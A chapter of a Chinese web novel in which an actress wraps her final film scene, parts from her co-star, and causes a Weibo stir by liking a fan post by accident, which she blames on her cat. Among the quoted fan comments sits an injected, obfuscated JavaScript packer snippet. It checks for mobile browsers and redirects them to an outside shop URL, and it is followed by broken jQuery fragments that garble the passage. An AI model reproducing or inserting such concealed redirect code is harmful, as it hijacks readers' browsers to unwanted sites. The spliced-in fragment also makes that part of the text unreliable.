原来如此。


    剧本只是以第三人称将故事展示出来。


    就算是上帝视角也会有局限。


    沉默良久，苏以寒擦干泪痕，浅浅一笑：“我明白了。”


    这几天她就没笑过。


    此刻是真心的。


    楚江在一旁干着急，脸色都不对了：“你明白什么了？”


    似乎从刚刚摇头的那一刻起，他就皱着眉头，一言不发。


    林安拍了拍她的肩膀：“那就开始吧，给电影画上一个完美的句号。”


    苏以寒拿起剧本，果断地将最后几页纸撕了。


    “我可以在限定的剧本以内自由发挥吗？”


    林安点头。


    “《双囚》最后一场，3，2，1……”


    这电影拍了将近四个月，她已经听过无数次相同的话语。


    苏以寒闭上眼，贪婪地感受着现场所有的声音。


    终于还是要结束了。


    沈妍，最后一次借用你的身份。


    你的倔强，纠结，痛苦……


    我都明白。


    是时候该和你说再见了。


    像无数次拍戏时那样睁开眼，眼前是哭泣的爱人于南寻。


    他轻轻握着沈妍手乞求她不要离开。


    沈妍就那样静静地躺在病床上，虚弱地望着他。


    像是一只即将要展翅而飞的蝴蝶。


    是那样的脆弱，却又无比轻松。


    沈妍释然一笑：“于南寻，我之前都是骗你的。其实我不恨你，我只是不知道该怎么面对你。”


    最后一滴眼泪从眼尾滑落，滴在了于南寻的手背上。


    是啊。


    于南寻并未参与同父异母的弟弟和家族的谋划。


    当他得知沈妍是使自己家破人亡的幕后之人时。


    他首先是感到愤怒，其次是心寒。


    可当于南寻又得知她父母之事时，他又感觉到无比愧疚，所以才会想尽一切办法阻止沈妍自首。


    他从小引以为傲的身份，以及不可割舍的血缘，都成了两人之间的阻碍。


    于南寻只觉得沈妍的手越来越凉，他陷入到巨大的恐慌：“沈妍！别走好不好！我求你！我们已经有孩子了！孩子可以没有你，可我没有你活不下去！之前的事情我全都可以不计较！你打我也好，骂我也罢！可是你不能扔掉我！我已经没有家人了！再失去你，我真的会承受不住的！”


    于南寻天真的以为，生下孩子沈妍就不会总想着离开了。


    可有些人注定是自由的，不会被任何东西束缚，就算是另一条生命又如何？


    沈妍就是沈妍，那是她自己的生命，没有人可以代替和延续。


    沈妍的视线越来越模糊，她用尽最后一丝力气抬手，抚摸于南寻的脸颊。


    “活下去，你是个好人。”


    沈妍和苏以寒都已经耗尽了所有的力气。


    苏以寒闭上眼的那一刻，感受到了前所未有的轻松。


    这几个月拍摄每天都在喊累，可真的要结束时，她还是舍不得的。


    再见沈妍。


    我想这是你想和于南寻最后说的话吧。


    其实第一次遇见于南寻你就心动了。


    你从小失去父母，一直生活在极度不安和被动的状态。


    你下意识拒绝任何人靠近，抗拒一切亲密关系。


    于南寻除了身份和血缘，其实符合你的一切标准，就是脾气有点差，有些不讲道理。


    偶尔他还是挺靠谱的。


    像他那样的人，也会为了你一点点改变。


    只可惜从一开始就错了……


    命运给两人开了一个巨大的玩笑，把两个人双双囚禁住，没有人可以挣脱出来。


    这个故事里没有赢家，都输得很彻底……


    “卡！”林安的声音有些颤抖。


    等再次睁眼时，只有鲜花和掌声。


    “杀青快乐！”


    剧组的工作人员都看哭了。


    忙碌了好几个月，终于结束了拍摄。


    楚江不知从哪里拿出一捧花，双手递给了苏以寒。


    “杀青快乐，我的女主角。”


    是一大捧鸢尾花。


    这是也是沈妍最喜欢的花。


    它代表着自由和希望，暗中仰慕和绝望的爱。


    是于南寻到死也没有送给沈妍的花。


    “谢谢……”苏以寒心里很闷。


    眼前的楚江却笑容灿烂，他这人出戏得确实快，已经完全看不到于南寻的半点影子了。


    一切都要向前看。


    她和楚江的暧昧关系是时候结束了。


    每个人都有自己的路要走，没有人会永远陪着谁。


    “师哥，能最后抱一次吗？”苏以寒大胆开口。


    楚江微微一愣：“当然可以。”


    在剧组工作人员的欢呼中，她和楚江不轻不重地抱了一下。


    花絮摄像头也定格在了这一秒。


    其实和楚江拍过那么多吻戏还有难以启齿的床戏，都没有这个拥抱让她动容。


    苏以寒借着角色和他告别。


    她埋在楚江颈窝，轻声耳语：“再见，于南寻。”


    听到这话，楚江皱起眉头。


    还以为是她入戏太深。


    刚要把人推开时，苏以寒又用只有两个人能够听到的声音说：“杀青快乐，我的男主角……”


    楚江的心脏猛烈地跳动了一下。


    是从未有过的感觉。


    这些年经历的东西太多，演戏也演得太多。


    他还以为自己已经失去了感知的能力。


    苏以寒拍了拍楚江的后背，就头也不回地钻进房车。


    楚江站在原地，身上还残留着热气，那股让人心安的味道渐渐散去。


    原来已经杀青了。


    已经结束了……


    ……


    房车里，苏以寒看着镜子，久久没有缓过来。


    这张脸真的是越来越别扭。


    好像不是自己的一样。


    助理陈羽给她递了一杯热茶：“姐，辛苦你了，电影拍完了，后面就好好休息一段时间吧。”


    “你这段时间的状态真的很吓人。”


    苏以寒对着镜子卸妆，露出真实的面容。


    是有点疲倦和乏累。


    “小羽，这段时间也辛苦你了，你也好好休息一段时间吧。”


    陈羽眼睛里泛光：“谢谢姐！咱们的电影拍那么好，一定可以火！”


    苏以寒虚弱一笑：“但愿吧。”


    *


    苏以寒在家足足休息了一个月。


    期间她和楚江没有任何联系。


    午夜梦回时，她的脑海里总会浮现出沈妍的那张脸。


    她有时候也会看见楚江的一些消息。


    他是真的很专业，也很努力。


    能够一直红，不是没有原因的。


    电影才刚杀青，代言和红毯就没停过。


    现在又进了新的剧组，演的是一个将军。


    是一部古装权谋正剧，长发定妆照帅得要死，在微博热搜第一。


    走不出来可能只有她自己吧，楚江的生活早就步入正轨。


    她端着一杯热茶，用手刷着微博。


    #楚江长发造型#


    那条热搜的底下，几乎全是楚江的粉丝。


    ［我的天，我都要帅晕了，哥哥的长发造型杀我！］


    ［快拿呼吸机，我要顶不住了！哥哥脸在江山在，我可以再追十年！


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054993|149158||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ］


    ［好期待啊！哥哥真的是全年无休！好想快点看到哥哥的新剧！］


    ……


    苏以寒忍不住打开图片一看。


    造型确实很不错。


    这铠甲穿他身上完全撑起来了。


    娱乐圈现在最缺的就是他这种又有颜值又有性张力的男演员了。


    尤其是长发古风造型，特别适合他。


    刷着刷着，苏以寒看到了一条格格不入的评论。


    @寒江的孩子：［又有新素材了，刚好可以把两个人的古装造型剪在一起！］


    苏以寒定睛一看，是她和楚江的cp粉。


    虽然电影还没播，但官方账号时不时会放一些小片段和花絮预热。


    没有提苏以寒的名字，这条评论也很快就被攻占了。


    ［救了个大命，哪里来的乞丐啊？］


    ［到底是谁在磕他们啊？CP超话几个人啊？］


    ［我估计是女方那边的粉丝，为什么cp超话的名字把我哥哥放后面啊？］


    ［明眼人一看就知道这个超话偏心谁了。］


    ……


    寒江，江寒。


    明显前面一个更顺口和好听。


    苏以寒来了兴致。


    她倒要点进去看看是怎么个事。


    放下杯子，屏幕上沾了一滴水。


    苏以寒顺手用拇指擦去。


    空白的赞被点满，醒目的橙色提醒着她应该是惹祸了。


    这条微博下面出现了标语——


    苏以寒刚刚赞过。


    完了！


    她整个人愣住，魂飞天外。


    反应过来的苏以寒以掩耳不及盗铃之势取消了赞。


    只可惜晚了，她主页的第一条微博迅速被攻占。


    [你没事吧？大姐？]


    [那么急着倒贴？]


    [从电影刚开拍就一直像个狗皮膏药一样黏着楚江炒作！怎么？是自己不能独立行走了吗？]


    ［很难想象她是用了什么手段拿到了女主角，想红想疯了吧？］


    ……


    苏以寒正在绞尽脑汁想着该怎么弥补时，家里的猫迈着六亲不认的步伐走来，纵身一跃跳到了桌子上。


    阿福，一只布偶猫。


    就是个大毛球，毛茸茸又肥嘟嘟的。


    它刚醒，夹着嗓子蹭了蹭苏以寒的手背，瞪着无辜的大眼来撒娇。


    有了！


    苏以寒露出坏笑：“委屈你了我的好阿福，等下给你开罐头吃哈。”


    说着她就把猫抱了起来，靠着脸拍了个合照。


    紧接着微博主页更新了——


    不好意思，家猫献丑了。手机放在桌子上，它一个不小心踩到了。


    这就给各位姨姨们道歉！（鞠躬）


    后面附了两张照片。


    一张是她和猫的合照，另外一张则是小猫的道歉的表情包。


    幸好上个月她就发微博吐槽过小猫踩手机的事情。


    苏以寒的粉丝见状立马支棱了起来控评。


    [没必要吧？你们这些粉丝是在给楚江抹黑吗？]


    [就是就是，我们小寒之前就说过她家猫很会撒娇，只要她看手机就会吃醋，然后踩手机。]


    [不是给你取消了吗？有必要那么上纲上线？]


    ……


    见局势得到控制，苏以寒松了一口气，把猫放下。


    她端起杯子走向冰箱，准备拿罐头。


    下一秒，手机传来震动。


    苏以寒低头一看，杯子里的水彻底洒了。


    只见沉寂了一个月的聊天对话框终于来了消息，跳跃到了第一个位置。


    楚江：【犯错的猫，看图片多没意思啊。来我家，给你看个够。】